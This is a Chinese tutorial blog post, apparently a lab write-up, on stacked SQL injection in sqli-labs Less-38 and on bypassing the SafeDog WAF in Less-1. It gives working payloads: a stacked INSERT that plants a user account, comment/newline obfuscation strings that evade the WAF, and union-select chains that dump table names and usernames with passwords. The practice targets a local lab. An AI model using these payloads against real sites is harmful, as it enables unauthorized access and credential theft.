当前位置: 首页 > news >正文

SQL注入之堆叠及waf绕过注入(安全狗)

1.SQL注入之堆叠(sqli-labs 38)

基本概念

堆叠注入是指通过分号(;)将多条SQL语句组合在一起执行的技术。在支持多语句执行的数据库(如MySQL)中,攻击者可以利用这个特性执行任意SQL命令。

Stacked   injections(堆叠注入)从名词的含义就可以看到应该是一堆  sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在   mysql 中, 主要是命令行中, 每一条语句结尾加;  表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked   injection。

攻击原理示例 正常查询:

SELECT * FROM users WHERE id = 1;

堆叠注入攻击:

sql SELECT * FROM users WHERE id = 1; INSERT INTO users(username, password) VALUES ('hacker', 'my_password');(两个sql语句进行堆叠)

靶场尝试:sqli-labs 38

首先可以先去看看他的一个源代码

有这样的代码:
if (mysqli_multi_query($con1, $sql))
{/* store first result set */if ($result = mysqli_store_result($con1)){if($row = mysqli_fetch_row($result)){echo '<font size = "5" color= "#00FF00">';    printf("Your Username is : %s", $row[1]);echo "<br>";printf("Your Password is : %s", $row[2]);echo "<br>";echo "</font>";}
//            mysqli_free_result($result);

其中的mysqli_multi_query() 函数是MySQL中专门用于执行多条SQL语句的函数,它允许在一个查询字符串中包含多个用分号分隔的SQL语句。这就提示了我们可以进行堆叠查询

1.查看是否存在注入点(这个默认的都是id),然后查看他是啥类型的

id=1 and 1=1 --+

id=1 and 1=2 --+

id=1' and 1=1 --+

id=1' and 1=2 --+

id=1" and 1=1 --+

id=1" and 1=2 --+

发现

id=1' and 1=1 --+

id=1' and 1=2 --+

2.然后观察本地的一个数据

然后来尝试堆叠注入:

?id=1';insert into users(id,username,password) values ('35','lllxxy','lllxxy666');

这个在数据库也可以进行操作(我已经在网页插入过一次了,所以显示错误)

3.然后再来显示:

?id=35' and 1=1

?id=35%27%20and%201=1--+,就能得到我插入数据库的信息了

堆叠注入的用法:

注入需要管理员的账号密码,密码是加密的,无法解密

堆叠注入在用户表中插入数据,用户密码自定义可以无需解密实施登录

堆叠注入探测方法

 基于错误信息的探测 尝试分号分隔: 

http://127.0.0.1:8081/Less-38/?id=1'; --+
http://127.0.0.1:8081/Less-38/?id=1'; # 这两个都显示正常的页面

加上时间盲注(时间开始反应)

观察响应: 如果页面正常返回,可能支持堆叠 如果有语法错误但不同于普通注入错误,可能支持 如果有明显的延时,肯定支持

2.waf绕过注入

一.WAF 是什么?

WAF 的全称是 Web Application Firewall,即 Web 应用防火墙

  • 核心使命:专门用于保护 Web 应用程序(如网站、API 接口)免受各种应用层攻击。

二、WAF 主要防什么?

WAF 主要防御的是 OWASP Top 10 中列出的绝大多数威胁,主要包括:

  1. 注入攻击:最典型的就是 SQL 注入,还有命令注入、LDAP注入等。

  2. 跨站脚本攻击:即 XSS,攻击者在网页中插入恶意脚本,盗取用户信息或进行恶意操作。

  3. 跨站请求伪造:即 CSRF,诱骗用户在已登录的Web应用中执行非本意的操作。

  4. 文件包含漏洞:如远程文件包含和本地文件包含。

  5. 安全配置错误:探测和利用不安全的服务器或应用配置。

  6. 敏感信息泄露:防止身份证、手机号、银行卡号等敏感数据被意外返回。

  7. CC攻击:一种应用层的DDoS攻击,通过大量模拟正常请求耗尽服务器资源。

  8. 其他Web漏洞:如XML外部实体注入、不安全的反序列化等。

三、WAF 是如何工作的?

WAF 通过分析客户端(如浏览器)与服务器之间的 HTTP/HTTPS 请求和响应 来工作。其核心工作流程如下:

  1. 拦截流量:所有通往Web应用的流量都必须先经过WAF。

  2. 解析与规范化:解析HTTP请求的各个部分(URL、Headers、Body、Cookies等),并将其标准化,以便进行准确分析。

  3. 规则匹配:将解析后的请求与防护规则库进行比对。这些规则是预定义的,用于识别已知的攻击模式(特征码)。

常用安全防护:

1.  阿里云盾---阿里云服务器自带 2.  宝塔 3.  安全狗等等

今天尝试绕过安全狗进行sql注入。安全狗下载地址:http://free.safedog.cn/http://free.safedog.cn/

对于配置网上有很多自行选择(我选择的是apache——windows)

2.然后还是对于sqli-labs靶场的训练(sqli-labs 1是数字型)

1.对于安全狗绕过可以通过/**/,/***/这种注释语句来进行绕过,他会把这种注释语句认为是一个不重要的语句,我们就可以尝试来绕过了

2.对于参数污染也可以来尝试绕过

这个图就这么理解,对于php和apache的服务器我们利用get传参的时候,他是放在最后的位置的。

3.进入靶场输入

?id=1 and 1=1此时的页面是:

打开安全狗的设置:

再次输入?id=1 and 1=1,此时的页面是:

这个是因为安全狗里面有一个http的安全检测:里面有着对sql注入的严格限制

按照上述我说的注释符号进行绕过和参数污染进行绕过看是否能够成功

1.通过注释符号/**/进行绕过:

1.这个可以在数据库里面尝试看看我加了注释之后他会有什么反应:

发现:

mysql> /* select * from users */;
ERROR:
No query specified 查询不到

2.尝试:(%20是空格,%23是#,a是一个参数,%0A是换行,/*! */ -MySQL特性,可执行注释)

第一步:?id=1 and 1=1

然后我想着去用注释符来看看能不能绕过:?id=1 and/**/ 1=1

这种情况的话我就只用去'fuzz'了

bp抓包爆破一下:

这些都可以实现绕过,取其中一个?id=1 and-- - 1=1

页面是:

我再尝试注释符号和换行符号

?id=1 %23and 1=1

?id=1 %23 %0A and 1=1

?id=1 /*%23and 1=1*/发现这个是可以的:

这个句子就是:

?id=1 (# and 1=1)括号里面的再被注释

?id=1 /*%23 %0A and 1=1*/发现这个也是可以的:

这个句子就是:

?id=1

(#

and1=1)整个被注释

然后再去抓包看看这两个句子还能怎么变化:

?id=1 /*%23and 1=1*/可以写成:http://127.0.0.1:8081/Less-1/?id=1%20/*#and%C2%A01=1*/等等

?id=1 /*%23 %0A and 1=1*/可以写成:?id=1%20/*--%0c%0a%0A%20and%C2%A01=1*/

然后依次类推

?id=1' order/*/!**/by 3 --+

?id=1' union/*!--+/*%0aselect%201,2,3*/%20--+

?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+

得到了数据库是security

然后表名:

正常语句是:

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

按照上述尝试一个(比如有union select 这种敏感的字眼的时候尝试在中间用注释符号,然后在敏感字眼组合的最后地方加上换行符号):

?id=-1' union/*!--+/*%0aselect%201,group_concat(table_name),3 from information_schema.tables where table_schema=database()*/%20--+

union#(注释开始)(#加注释开始语句就是/*!--+/*)
select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()(注释结束)(注释结束就是*/跟前面的/*闭合)--+

然后列的数据:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
同理:?id=-1' union/*!--+/*%0aselect%201,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'*/%20--+

然后最终数据:
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

同理:?id=-1' union/*!--+/*%0aselect%201,group_concat(username,0x3a,password),3 from users*/%20--+

http://www.dtcms.com/a/585068.html

相关文章:

  • 微信小程序开发案例 | 极简清单小程序(下)
  • 37.华为云网络类云服务
  • Java设计模式精讲---04原型模式
  • 有哪些网站是可以做免费推广的做视频网站要多大的服务器
  • 线代强化NO1|行列式及矩阵
  • Shelly智能模块:家居科技革新之选
  • 网页Iframe读取PDF文件的参数设置
  • 电子商务网站规划与建设广州网站建设网站制作公司
  • 线性代数 - 理解 特征方程 Eigenvalue Equation定义的合理性
  • 关于新项目在PyCharm中自动构建UV环境的问题
  • jmeter 使用汇总报告查看吞吐量(QPS) 总在一个低数值上不去的解决办法
  • C++ 方向 Web 自动化测试实战:以博客系统为例,从用例到报告全流程解析
  • 东莞网站建设排名浙江省网站集约化建设
  • 《VS+Elasticsearch+Figma:开发全流程工具联动指南》
  • 代码自动生成文本小工具TextStringizerWpf
  • 旅游加盟网站建设网络营销类型
  • 【PySpark】安装测试
  • 网站建设现在主要做些什么软件开发项目实施方案
  • 信道编码的分类和总结
  • 实例:跳动的心,火柴人
  • STM32项目分享:智能窗帘(机智云)
  • web网页开发,在线%商城,电商,商品购买%系统demo,基于vscode,apache,html,css,jquery,php,mysql数据库
  • 国外免费服务器地址优速网站建设优化seo
  • jmeter 分布式压测
  • 黑马JAVAWeb-11 请求参数为数组-XML自动封装-XML手动封装-增删改查-全局异常处理-单独异常分别处理
  • 算法通关指南:数据结构和算法篇 --- 队列相关算法题》--- 1. 【模板】队列,2. 机器翻译
  • 招聘决策新变革:判断型 AI 的应用与价值
  • 缓存三大问题深度解析:穿透、击穿与雪崩
  • 如何开公司做网站百度官方营销推广平台加载中
  • Linux:make自动化和实战演练